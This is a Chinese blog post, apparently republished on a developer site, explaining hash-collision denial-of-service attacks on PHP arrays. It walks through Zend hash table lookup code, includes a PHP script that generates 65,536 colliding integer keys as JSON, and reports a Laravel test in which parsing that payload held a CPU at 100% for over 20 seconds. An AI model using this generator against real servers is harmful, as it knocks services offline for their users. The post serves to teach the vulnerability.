PHP Hash Collision攻击原理

简介:

之前介绍了所有语言通用的Hash Collision攻击原理 一种高级的DoS攻击-Hash碰撞攻击 ,介绍的比较宽泛。因为Java相关的Hash Collision文章比较少,所以最先写了Java的攻击原理 Java Hash Collision之数据生产

网上关于PHP Hash Collision的文章特别多,得益于很多年前鸟哥的一篇文章 PHP数组的Hash冲突实例,因为这篇文章让行业内的PHPer们都愿意花时间去了解。

哈希表是一种查找效率极高的数据结构,PHP中的哈希表用于表示Array数据类型,在Zend虚拟机内部也用于存储上下文环境信息(执行上下文的变量及函数均使用哈希表结构存储)。

理想情况下哈希表插入和查找操作的时间复杂度均为O(1),任何一个数据项可以在一个与哈希表长度无关的时间内计算出一个哈希值(key),然后在常量时间内定位到一个桶(术语bucket,表示哈希表中的一个位置)。当然这是理想情况下,因为任何哈希表的长度都是有限的,所以一定存在不同的数据项具有相同哈希值的情况,此时不同数据项被定为到同一个桶,称为碰撞(collision)。哈希表的实现需要解决碰撞问题,碰撞解决大体有两种思路,第一种是根据某种原则将被碰撞数据定为到其它桶,例如线性探测——如果数据在插入时发生了碰撞,则顺序查找这个桶后面的桶,将其放入第一个没有被使用的桶;第二种策略是每个桶不是一个只能容纳单个数据项的位置,而是一个可容纳多个数据的数据结构(例如链表或红黑树),所有碰撞的数据以某种数据结构的形式组织起来。

不论使用了哪种碰撞解决策略,都导致插入和查找操作的时间复杂度不再是O(1)。以查找为例,不能通过key定位到桶就结束,必须还要比较原始key(即未做哈希之前的key)是否相等,如果不相等,则要使用与插入相同的算法继续查找,直到找到匹配的值或确认数据不在哈希表中。

PHP是使用单链表存储碰撞的数据,因此实际上PHP哈希表的平均查找复杂度为O(L),其中L为桶链表的平均长度;而最坏复杂度为O(N),此时所有数据全部碰撞,哈希表退化成单链表。哈希表结构如下图

Hash Collition

Hash Function也叫哈希散列函数,通过散列函数我们能将各种类型的key转换为有限空间内的一个内存地址。常见的散列函数有MD5,SHA*。不过HashTable中基本不会用MD5,SHA*算法,因为这两类算法太耗时,基本所有的编程语言都会选择Times*类型算法,比如Times31,times33,times37。Java使用的Hash算法为Times31,PHP使用的Hash算法为times33……

一. PHP Hash function实现

PHP HashTable的哈希算法如下:

hash(key)=key & nTableMask

即简单将数据的原始key与HashTable的nTableMask进行按位与即可。如果原始key为字符串,则首先使用Times33算法将字符串转为整形再与nTableMask按位与。

hash(strkey)=time33(strkey) & nTableMask

下面是Zend源码中查找哈希表的代码:

ZEND_API int zend_hash_index_find(const HashTable *ht, ulong h, void **pData)
{
    uint nIndex;
    Bucket *p;
 
    IS_CONSISTENT(ht);
     //获取索引
    nIndex = h & ht->nTableMask;
 
    p = ht->arBuckets[nIndex];
    while (p != NULL) {
        if ((p->h == h) && (p->nKeyLength == 0)) {
            *pData = p->pData;
            return SUCCESS;
        }
        p = p->pNext;
    }
    return FAILURE;
}
//用于查找字符串key 
ZEND_API int zend_hash_find(const HashTable *ht, const char *arKey, uint nKeyLength, void **pData)
{
    ulong h;
    uint nIndex;
    Bucket *p;
 
    IS_CONSISTENT(ht);
 
    h = zend_inline_hash_func(arKey, nKeyLength);
    //获取索引
    nIndex = h & ht->nTableMask;
 
    p = ht->arBuckets[nIndex];
    while (p != NULL) {
        if ((p->h == h) && (p->nKeyLength == nKeyLength)) {
            if (!memcmp(p->arKey, arKey, nKeyLength)) {
                *pData = p->pData;
                return SUCCESS;
            }
        }
        p = p->pNext;
    }
    return FAILURE;
}

二. 通过PHP zend_hash_index_find函数实现逆推

知道了PHP内部哈希表的算法,就可以利用其原理构造用于攻击的数据。一种最简单的方法是利用掩码规律制造碰撞。上文提到Zend HashTable的长度nTableSize会被圆整为2的整数次幂,假设我们构造一个2^16的哈希表,则nTableSize的二进制表示为:1 0000 0000 0000 0000,而nTableMask = nTableSize – 1为:0 1111 1111 1111 1111。接下来,可以以0为初始值,以2^16为步长,制造足够多的数据,可以得到如下推测:

0000 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0001 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0010 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0011 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0100 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

……

概况来说只要保证后16位均为0,则与掩码位于后得到的哈希值全部碰撞在位置0。

三. 通过脚本批量产出碰撞数据

如上我们已经推算出碰撞数据的实现方式,接下来我通过PHP生成碰撞数据。如果要生成大量的碰撞数据,这里最好不要使用PHP来生成,因为操作不当就会变成攻击自己的脚本。

$size = pow(2, 16); // 16 is just an example, could also be 15 or 17
$maxKey = ($size - 1) * $size;
$startTime = microtime(true);
$array = [];
for ($key = 0; $key <= $maxKey; $key += $size) {
    $array[$key] = 0;
}
file_put_contents("t.log",json_encode($array));
$endTime = microtime(true);

echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";

最后我们生成了如下数据(截取了前面几条):

{
    "0":0,
    "65536":0,
    "131072":0,
    "196608":0,
    "262144":0,
    "327680":0,
    "393216":0,
    "458752":0,
    "524288":0,
    "589824":0,
    "655360":0,
    "720896":0
}

四. 在PHP中测试碰撞数据

通过程序我们生成了65536条碰撞数据,然后在Laravel中做个简单的测试,测试代码如下:

public function posts(){

    $startTime = microtime(true);
    //获取http body中的数据
    $rest = $this->request->getContent();
    json_decode($rest,true);
    $endTime = microtime(true);

    echo ' evil elements took ', $endTime - $startTime, ' seconds', "\n";
}

测试结果,一个CPU被打到100%,持续了20多秒。结束该php-fpm进程后恢复。

至此写了三篇关于HashTable的文章,前两篇文章开头都有链接,能帮助大家对HahsTable有更深的理解,之后不会再更新HashTable相关的文章了。

我的博客原文地址:PHP Hash Collision攻击原理

目录
相关文章
|
2月前
|
设计模式 SQL 安全
PHP中的设计模式:单例模式的深入探索与实践在PHP的编程实践中,设计模式是解决常见软件设计问题的最佳实践。单例模式作为设计模式中的一种,确保一个类只有一个实例,并提供全局访问点,广泛应用于配置管理、日志记录和测试框架等场景。本文将深入探讨单例模式的原理、实现方式及其在PHP中的应用,帮助开发者更好地理解和运用这一设计模式。
在PHP开发中,单例模式通过确保类仅有一个实例并提供一个全局访问点,有效管理和访问共享资源。本文详细介绍了单例模式的概念、PHP实现方式及应用场景,并通过具体代码示例展示如何在PHP中实现单例模式以及如何在实际项目中正确使用它来优化代码结构和性能。
37 2
|
3月前
|
存储 算法 网络安全
二进制加密PHP Webshell原理及简单实现
二进制加密PHP Webshell原理及简单实现
91 8
|
3月前
|
SQL 程序员 PHP
PHP网页下的注入原理
PHP网页下的注入原理
|
4月前
|
算法 PHP
【php经典算法】冒泡排序,冒泡排序原理,冒泡排序执行逻辑,执行过程,执行结果 代码
【php经典算法】冒泡排序,冒泡排序原理,冒泡排序执行逻辑,执行过程,执行结果 代码
30 1
|
6月前
|
存储 缓存 自然语言处理
深入PHP内核:理解OPcache的工作原理与优化实践
【5月更文挑战第6天】 在现代Web开发中,提升性能和响应速度是持续追求的目标。PHP作为一种广泛使用的服务端脚本语言,其执行效率至关重要。本文将深入探索PHP的OPcache(优化器缓存)组件,解析其如何改善PHP的性能表现。通过剖析OPcache的工作机制,我们将讨论有效的配置策略以及实践中的最佳优化方法,旨在帮助开发者充分理解并利用OPcache来提升应用性能。
|
6月前
|
存储 安全 JavaScript
【PHP开发专栏】PHP跨站脚本攻击(XSS)防范
【4月更文挑战第30天】本文探讨了Web开发中的XSS攻击,解释了其原理和分类,包括存储型、反射型和DOM型XSS。XSS攻击可能导致数据泄露、会话劫持、网站破坏、钓鱼攻击和DDoS攻击。防范措施包括输入验证、输出编码、使用HTTP头部、定期更新及使用安全框架。PHP开发者应重视XSS防护,确保应用安全。
147 1
|
11月前
|
前端开发 PHP 数据安全/隐私保护
【PHP学习】—利用ajax原理实现密码修改功能(九)
【PHP学习】—利用ajax原理实现密码修改功能(九)
|
11月前
|
前端开发 JavaScript PHP
【PHP学习】—利用ajax原理实现登录功能(八)
【PHP学习】—利用ajax原理实现登录功能(八)
|
11月前
|
PHP Python
PHP2(phps)- URL编码解码原理
PHP2(phps)- URL编码解码原理
124 0
|
存储 PHP
php开发实战分析(2):cookie的动态使用(设置、获取、删除、猜你喜欢原理、购物车调用)
php开发实战分析(2):cookie的动态使用(设置、获取、删除、猜你喜欢原理、购物车调用)
209 0